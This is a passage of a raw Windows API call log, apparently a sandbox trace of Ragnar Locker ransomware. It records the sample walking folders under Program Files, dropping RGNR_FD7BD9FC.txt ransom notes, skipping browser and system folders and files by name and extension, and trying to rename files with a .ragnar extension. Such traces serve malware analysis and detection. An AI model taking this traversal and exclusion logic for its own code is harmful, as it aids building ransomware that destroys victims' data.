ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0078.674] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0078.674] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810f4960, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810f4960, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0078.675] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810f4960, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810f4960, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0078.675] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0078.675] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.675] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0078.675] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0078.675] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fcf3090, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fcf3090, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0078.675] lstrcmpiW (lpString1="DVD Maker", lpString2=".") returned 1 [0078.675] lstrcmpiW (lpString1="DVD Maker", lpString2="..") returned 1 [0078.675] lstrcmpiW (lpString1="DVD Maker", lpString2="Windows") returned -1 [0078.675] lstrcmpiW (lpString1="DVD Maker", lpString2="Windows.old") returned -1 [0078.675] lstrcmpiW (lpString1="DVD Maker", lpString2="Tor browser") returned -1 [0078.675] lstrcmpiW (lpString1="DVD Maker", lpString2="Internet Explorer") returned -1 [0078.675] lstrcmpiW (lpString1="DVD Maker", lpString2="Google") returned -1 [0078.675] lstrcmpiW (lpString1="DVD Maker", lpString2="Opera") returned -1 [0078.675] lstrcmpiW (lpString1="DVD Maker", lpString2="Opera Software") returned -1 [0078.675] lstrcmpiW (lpString1="DVD Maker", lpString2="Mozilla") returned -1 [0078.675] lstrcmpiW (lpString1="DVD Maker", lpString2="Mozilla Firefox") returned -1 [0078.675] lstrcmpiW (lpString1="DVD Maker", lpString2="$Recycle.Bin") returned 1 [0078.675] lstrcmpiW (lpString1="DVD Maker", lpString2="ProgramData") returned -1 [0078.675] lstrcmpiW (lpString1="DVD Maker", lpString2="All Users") returned 1 [0078.675] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Program Files\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0x18 [0078.675] lstrcpyW (in: lpString1=0x1ed672, lpString2="DVD Maker" | out: lpString1="DVD Maker") returned="DVD Maker" [0078.675] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\" [0078.675] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\" [0078.675] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\RGNR_FD7BD9FC.txt" [0078.675] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.677] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\*.*" [0078.677] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0078.677] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.677] lstrcpyW (in: lpString1=0x1ec79a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.678] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81225460, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81225460, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0078.678] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.678] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81225460, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81225460, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.678] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.678] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.678] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0078.678] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2=".") returned 1 [0078.678] lstrcmpiW (lpString1="audiodepthconverter.ax", lpString2="..") returned 1 [0078.678] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0078.678] lstrcmpiW (lpString1="bod_r.TTF", lpString2=".") returned 1 [0078.678] lstrcmpiW (lpString1="bod_r.TTF", lpString2="..") returned 1 [0078.678] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0078.678] lstrcmpiW (lpString1="directshowtap.ax", lpString2=".") returned 1 [0078.678] lstrcmpiW (lpString1="directshowtap.ax", lpString2="..") returned 1 [0078.678] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0078.678] lstrcmpiW (lpString1="DVDMaker.exe", lpString2=".") returned 1 [0078.678] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="..") returned 1 [0078.678] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.678] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0078.678] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0078.678] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0078.678] lstrcmpiW (lpString1="en-US", lpString2="Windows.old") returned -1 [0078.678] lstrcmpiW (lpString1="en-US", lpString2="Tor browser") returned -1 [0078.678] lstrcmpiW (lpString1="en-US", lpString2="Internet Explorer") returned -1 [0078.678] lstrcmpiW (lpString1="en-US", lpString2="Google") returned -1 [0078.678] lstrcmpiW (lpString1="en-US", lpString2="Opera") returned -1 [0078.678] lstrcmpiW (lpString1="en-US", lpString2="Opera Software") returned -1 [0078.678] lstrcmpiW (lpString1="en-US", lpString2="Mozilla") returned -1 [0078.678] lstrcmpiW (lpString1="en-US", lpString2="Mozilla Firefox") returned -1 [0078.678] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.Bin") returned 1 [0078.678] lstrcmpiW (lpString1="en-US", lpString2="ProgramData") returned -1 [0078.678] lstrcmpiW (lpString1="en-US", lpString2="All Users") returned 1 [0078.679] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0078.679] lstrcpyW (in: lpString1=0x1ecbae, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0078.679] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\" [0078.679] lstrcpyW (in: lpString1=0x1ec964, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\" [0078.679] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\RGNR_FD7BD9FC.txt" [0078.679] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.681] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*.*" [0078.681] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ebc84, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x28 [0078.681] lstrcpyW (in: lpString1=0x1eba7c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.681] lstrcpyW (in: lpString1=0x1ebcce, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8124b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8124b5c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0078.681] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.681] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8124b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8124b5c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.681] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.681] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.681] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0078.681] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2=".") returned 1 [0078.681] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="..") returned 1 [0078.681] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0078.681] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2=".") returned 1 [0078.681] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="..") returned 1 [0078.681] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8124b5c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8124b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.681] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.681] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.681] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0078.681] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2=".") returned 1 [0078.681] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="..") returned 1 [0078.682] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0078.682] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0078.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8124b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8124b5c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0078.682] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8124b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8124b5c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.682] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0078.682] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x28 [0078.682] lstrcpyW (in: lpString1=0x1ec0e2, lpString2="DVDMaker.exe.mui" | out: lpString1="DVDMaker.exe.mui") returned="DVDMaker.exe.mui" [0078.682] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui") returned=".mui" [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="autorun.inf") returned 1 [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="boot.ini") returned 1 [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="bootfont.bin") returned 1 [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="bootsect.bak") returned 1 [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="bootmgr") returned 1 [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="bootmgr.efi") returned 1 [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="bootmgfw.efi") returned 1 [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="desktop.ini") returned 1 [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="iconcache.db") returned -1 [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="ntldr") returned -1 [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="ntuser.dat") returned -1 [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="ntuser.dat.log") returned -1 [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="ntuser.ini") returned -1 [0078.682] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="thumbs.db") returned -1 [0078.682] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.682] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.682] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.682] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.682] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.682] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.682] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui")) returned 0x20 [0078.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.683] CloseHandle (hObject=0xffffffff) returned 0 [0078.683] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui") returned="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" [0078.683] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui.ragnar_FD7BD9FC" [0078.683] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.683] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0078.683] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x28 [0078.683] lstrcpyW (in: lpString1=0x1ec0e2, lpString2="OmdProject.dll.mui" | out: lpString1="OmdProject.dll.mui") returned="OmdProject.dll.mui" [0078.683] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui") returned=".mui" [0078.683] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.683] lstrcmpiW 